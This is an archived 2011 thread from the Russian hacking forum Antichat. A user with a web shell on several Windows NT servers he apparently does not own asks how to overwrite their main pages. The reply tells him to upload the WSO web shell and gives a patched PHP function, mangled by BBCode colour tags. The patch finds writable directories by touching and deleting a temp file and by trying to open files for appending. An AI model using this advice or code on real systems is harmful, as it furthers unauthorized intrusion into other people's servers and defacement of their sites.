Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   права в windows NT шеле (https://forum.antichat.xyz/showthread.php?t=292004)

FlooP1k 03.09.2011 05:46

Вобщем попалось несколько очень хороших серверов они все на Windows NT. Дык вот практически на из них можно только создавать файлы, а редактировать и заливать нельзя. Причем у большей части в одной папке редактировать можно а в другой нельзя, хотя права на все файлы стоят одинаковые.

Как можно с этим бороться?

Или если способ редактировать файлы? Просто допустим вот шелл, заливать могу, создавать файл могу, удалять файл который я создал могу. А удалять файлы которые есть уже на сервере не получается. Если какой то хитрый способ как то перезалить главную страницу что бы ее можно было редактировать? Или хотя бы посмотреть список файлов которые можно редактировать.

Faaax 20.09.2011 07:35

закачай на серв wso и подкорректируй его

На вин права не правильно отображаються, а именно функция:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]wsoPermsColor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]) { if (!@[/COLOR][COLOR="#0000BB"]is_readable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; elseif (!@[/COLOR][COLOR="#0000BB"]is_writable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; else return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; }[/COLOR][/COLOR

Багфикс при котором работает правильно

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]wsoPermsColor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]) { if([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) { if([/COLOR][COLOR="#0000BB"]$GLOBALS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'os'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'nix'[/COLOR][COLOR="#007700"]){ if([/COLOR][COLOR="#0000BB"]is_writeable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) { return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; }elseif([/COLOR][COLOR="#0000BB"]is_readable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])){ return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } else return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } else {[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/.ssps_tmp'[/COLOR][COLOR="#007700"]; if(@[/COLOR][COLOR="#0000BB"]touch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"])){[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]); return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; }elseif([/COLOR][COLOR="#0000BB"]opendir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])){[/COLOR][COLOR="#0000BB"]closedir[/COLOR][COLOR="#007700"](); return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } else return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; } } else { if([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; elseif([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'r'[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; return[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]wsoPerms[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]fileperms[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];; } }[/COLOR][/COLOR



Время: 18:26